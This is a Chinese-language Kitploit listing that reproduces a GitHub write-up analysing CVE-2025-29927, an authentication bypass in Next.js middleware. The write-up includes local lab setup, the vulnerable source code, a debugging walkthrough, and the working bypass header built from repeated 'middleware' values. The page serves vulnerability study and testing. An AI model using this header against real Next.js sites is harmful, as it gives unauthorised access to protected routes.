Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-29927 — Next.js 中间件认证绕过 | Kitploit
工具/GitHubGitHub/oyst3r1ng/cve-2025-29927
身份验证与授权漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHuboyst3r1ng/cve-2025-29927

CVE-2025-29927

Next.js 中间件认证绕过

查看仓库
2341年前尚未审核
分享

Introduction

通过伪造 x-middleware-subrequest 请求头绕过 Next.js 中间件鉴权机制,允许未授权访问受保护路由。

Environment setup

项目源码摘自P神,Next.js 版本为 15.2.2(For Next.js 15.x, this issue is fixed in 15.2.3)。

Vulnerability environment

确保已经安装 Node 和 npm。通过以下命令检查版本:

node -v
npm -v

安装依赖并启动项目

# 1. 进入项目目录
cd vulenv

# 2. 全局安装 Yarn(如果尚未安装)
npm install -g yarn

# 3. 安装项目依赖
yarn install

# 4. 启动开发服务器
npm run dev

或者一步到位:

cd vulenv && npm install -g yarn && yarn install && npm run dev

成功如下:

alt text

alt text

Debugging environment

配置 VScode 调试如下

{
    "version": "0.2.0",
    "configurations": [
      {
        "name": "Next.js: debug server-side",
        "type": "node-terminal",
        "request": "launch",
        "command": "npm run dev"
      },
      {
        "name": "Next.js: debug client-side",
        "type": "chrome",
        "request": "launch",
        "url": "http://localhost:3000"
      },
      {
        "name": "Next.js: debug full stack",
        "type": "node-terminal",
        "request": "launch",
        "command": "npm run dev",
        "serverReadyAction": {
          "pattern": "- Local:.+(https?://.+)",
          "uriFormat": "%s",
          "action": "debugWithChrome"
        }
      }
    ]
  }

Analysis

  1. 漏洞触发点如下
const run = withTaggedErrors(async function runWithTaggedErrors(params) {
    var _params_request_body;
    const runtime = await getRuntimeContext(params);
    const subreq = params.request.headers[`x-middleware-subrequest`];
    const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
    const MAX_RECURSION_DEPTH = 5;
    const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
    if (depth >= MAX_RECURSION_DEPTH) {
        return {
            waitUntil: Promise.resolve(),
            response: new runtime.context.Response(null, {
                headers: {
                    'x-middleware-next': '1'
                }
            })
        };
    }
    ......

一个中间件函数,目的是检测递归调用的深度,避免无限循环调用。其机制依赖于请求头 x-middleware-subrequest,将其用冒号 : 拆分成多个子请求名,并统计与当前中间件名 params.name 相同的次数(即递归层数)。当递归层数达到或超过设定阈值(默认 MAX_RECURSION_DEPTH = 5)时,中间件会跳过核心逻辑,如身份校验,继续请求处理流程。

Tips:避免无限循环调用,大致意思如下

用户访问 /dashboard
↓
middleware 拦截,请求 /api/auth
↓
/api/auth 再次触发 middleware
↓
middleware 又请求 /api/auth
↓
...
死循环!🌀
  1. 利用思路如下

中间件名为 middleware,可构造如下请求头:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

上述构造会使 depth = 5,直接触发:

if (depth >= MAX_RECURSION_DEPTH)

若应用将身份校验的逻辑写在中间件中,导致中间件退出认证逻辑,返回

x-middleware-next: 1

使请求继续向后端流转,在未认证的情况下获取受保护资源

  1. 利用如下

下图位置中断点(路径详情为:CVE-2025-29927/vulenv/node_modules/next/dist/server/web/sandbox/sandbox.js)后启动调试。

alt text

发送Payload

alt text

断在下图处,可以看到此时 depth 的值为 5

alt text

继续执行,即可获取到受保护资源

alt text

Poc

基于 Pocsuite3 编写,详情见 Poc_CVE-2025-29927.py。

alt text

Reference

Next.js and the corrupt middleware: the authorizing artifact

Next.js Middleware Authorization Bypass (CVE-2025-29927)

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    415
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    343
  • 5

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    258

探索所有工具

浏览我们的工具集合

查看所有工具 →